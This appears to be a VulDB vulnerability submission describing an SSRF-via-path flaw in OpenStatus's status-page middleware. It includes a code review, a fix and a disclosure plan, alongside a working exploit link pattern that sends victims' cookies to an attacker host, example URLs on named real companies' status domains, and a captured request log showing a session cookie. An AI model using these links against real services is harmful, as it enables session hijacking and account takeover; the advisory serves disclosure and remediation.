| 标题 | openstatusHQ openstatus > 2026-04-19 Server-Side Request Forgery |
|---|
| 描述 | ===========================================================
OPENSTATUS - SSRF VIA PATH (simple explanation)
===========================================================
WHAT IT IS (in one line)
------------------------
It is an SSRF via Path: you put a URL inside the status page path
(e.g. /http:/site.com) and the OpenStatus server FETCHES that URL
and returns the content to you.
That brings a serious POSSIBILITY: because the server forwards the
whole request to the destination (including the Cookie header),
it is possible to STEAL the HttpOnly cookies of the parent domain
from a victim.
(HttpOnly does NOT help here: the browser still SENDS the cookie on
the request - HttpOnly only stops JavaScript from reading it.)
HOW THE ATTACK WORKS (simple, step by step)
-------------------------------------------
1. The attacker builds a link on the victim's own trusted domain (using http:):
https://status.victim.com/http:/attacker.com/collect
2. The victim (logged in to victim.com) clicks the link.
3. The browser sends ALL the domain cookies to status.victim.com
(including HttpOnly, including parent-domain cookies).
4. OpenStatus proxies the request to http://attacker.com and
CARRIES the Cookie header with it.
5. The attacker's server logs the cookies. If one of them is the
session cookie -> session hijack -> account takeover.
Example:
https://status.documenso.com/http:/example.com
https://status.hanko.io/http:/example.com
https://status.cal.com/http:/example.com
https://status.openpanel.dev/http:/example.com
...or by using `https://status.openpanel.dev/http:/{SERVER}`, the parent domain's `HttpOnly` cookies are sent to my web server, hijacking system authentication and leading to account takeover:
Response from my web server:
"
GET / HTTP/1.1
Host: ef89-2804-d59-a118-d600-c151-dfac-f085-c755.ngrok-free.app
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/x.x.x.x Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: pt-BR,pt;q=0.9,en-US;q=0.8,en;q=0.7,ar;q=0.6
Cookie: PHPSESSID=ua0aa8s9kklsuiaiarrvr1sddc
X-Forwarded-For: 2804:d59:a118:d600:c151:dfac:f085:c755
X-Forwarded-Host: ef89-2804-d59-a118-d600-c151-dfac-f085-c755.ngrok-free.app
X-Forwarded-Proto: https
"
WHAT IS PROVEN vs WHAT DEPENDS
------------------------------
[PROVEN] SSRF via path works (http:/example.com -> 200 with the
example.com content).
[PROVEN] The server forwards the Cookie to the destination (a
test cookie arrived at httpbin / postman-echo).
[DEPENDS] Turning it into a full account takeover depends on the
session cookie being scoped to the parent domain
(Domain=victim.com) so it reaches the status. subdomain
- this was NOT confirmed and must be checked.
Note: it only works with "http:" (one slash). With "https:" the bug
does NOT trigger (the server keeps the internal domain). This
matches the code exactly (explained below).
===========================================================
CODE REVIEW (simple)
===========================================================
WHERE IT IS
-----------
File:
apps/status-page/src/lib/proxy/resolve-custom-domain-rewrite.ts
Used by:
apps/status-page/src/proxy.ts (the middleware that runs on
every request)
THE PROBLEM CODE
----------------
const rest = pathnames.slice(1).join("/"); // <- comes from the USER PATH
const url = new URL(rest, `https://${page.slug}.stpg.dev`); // <- BUG
...
NextResponse.rewrite(url) // <- proxies the request to that url
WHY THIS IS THE BUG (in simple words)
-------------------------------------
- "rest" is the part of the URL the user controls (the path).
- It is passed as the FIRST argument of new URL().
- Rule of new URL(): if the first argument already has a "scheme"
(like "http:"), it BECOMES an absolute URL and the second
argument (the fixed .stpg.dev domain) is IGNORED.
new URL("http:/attacker.com", "https://x.stpg.dev") = http://attacker.com <- escapes!
new URL("https:/attacker.com", "https://x.stpg.dev") = https://x.stpg.dev/... <- stays inside (that is why https does not work)
- Then NextResponse.rewrite(url) is not a "clean fetch": it PROXIES
the original request -> so the user's Cookie goes along to the
attacker's destination.
Summary: user-controlled url + a rewrite that forwards the request
= SSRF + cookie leak.
WHO IS AFFECTED
---------------
- OpenStatus Cloud / multi-tenant with a CUSTOM DOMAIN -> affected.
- Self-hosted (SELF_HOST=true) -> NOT affected (the code has
"if (isSelfHosted) return null;" and stops before the bug).
HOW TO FIX (simple)
-------------------
1. Never put user input as the 1st argument of new URL().
Build the base first and only set the path:
const url = new URL(`https://${page.slug}.stpg.dev`);
url.pathname = cleanRest; // no "scheme", no "//"
2. Reject if "rest" contains ":" or starts with "//" (400/404).
3. Before the rewrite, check:
if (url.host !== `${page.slug}.stpg.dev`) -> block.
4. Strip Cookie/Authorization from any rewrite that leaves to an
external host.
-----------------------------------------------------------
Analyzed: commit f04c827 (branch main),
apps/status-page v1.0.0.
Disclosure: report first as a private GitHub Security Advisory
-> patch -> then request the CVE.
-----------------------------------------------------------
Github:
https://github.com/openstatusHQ/openstatus
Vendor:
https://www.openstatus.dev/ |
|---|
| 来源 | ⚠️ https://www.openstatus.dev/ |
|---|
| 用户 | erickfernandox (UID 57733) |
|---|
| 提交 | 2026-07-13 20時14分 (2 月前) |
|---|
| 管理 | 2026-09-12 10時04分 (2 months later) |
|---|
| 状态 | 已接受 |
|---|
| VulDB条目 | 403074 [openstatusHQ openstatus 直到 f04c827112f30a11d571ebdad3892826034d6265 resolve-custom-domain-rewrite.ts 权限提升] |
|---|
| 积分 | 17 |
|---|